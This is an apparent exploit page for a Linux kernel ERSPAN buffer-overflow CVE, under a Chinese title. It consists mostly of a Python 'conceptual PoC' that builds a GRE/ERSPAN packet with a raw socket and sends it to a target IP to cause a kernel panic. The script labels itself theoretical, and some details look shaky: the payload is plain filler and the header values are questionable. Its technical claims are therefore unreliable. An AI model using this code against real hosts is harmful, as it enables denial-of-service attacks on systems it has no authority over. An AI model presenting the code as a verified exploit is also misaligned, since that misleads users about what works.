Linux kernel erspan 缓冲区溢出漏洞 (CVE-2025-71128)

# Conceptual PoC for CVE-2025-71128 # This is a theoretical exploit demonstration # Environment: Linux kernel with GCC 15+ and FORTIFY_SOURCE enabled # Target: Systems with ERSPAN over GRE tunnel configured import socket import struct def craft_erspan_packet(): """ Craft a malformed ERSPAN packet that triggers buffer overflow by not properly initializing options_len before options access. """ # GRE header gre_header = struct.pack('!HH', 0x2000, # Flags - ERSPAN type II 0x88BE # Protocol type - ERSPAN ) # ERSPAN Platform Specific Header (triggers the vulnerability) # The issue occurs when options_len is not set before options access erspan_header = struct.pack('!BBH', 0x10, # Ver + VLAN info 0x00, # COS + Encap type 0x0000 # Truncated session ID ) # Malformed payload that causes options_len mismatch payload = b'A' * 64 # Data that triggers overflow detection packet = gre_header + erspan_header + payload return packet def exploit(): """ Send crafted ERSPAN packet to trigger kernel panic. Requires ERSPAN GRE tunnel to be configured on target. """ s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_GRE) # Target configuration (requires GRE tunnel with ERSPAN) target_ip = "TARGET_IP" # Replace with target IP packet = craft_erspan_packet() s.sendto(packet, (target_ip, 0)) print("Malicious ERSPAN packet sent") print("If target has ERSPAN GRE tunnel configured with vulnerable kernel,") print("this should trigger kernel panic: memcpy buffer overflow") if __name__ == "__main__": print("CVE-2025-71128 Conceptual PoC") print("Note: This PoC requires specific environment conditions:") print("1. Linux kernel compiled with GCC 15+") print("2. FORTIFY_SOURCE enabled in kernel config") print("3. ERSPAN GRE tunnel configured on target") print("4. Local access to send packets to the tunnel interface")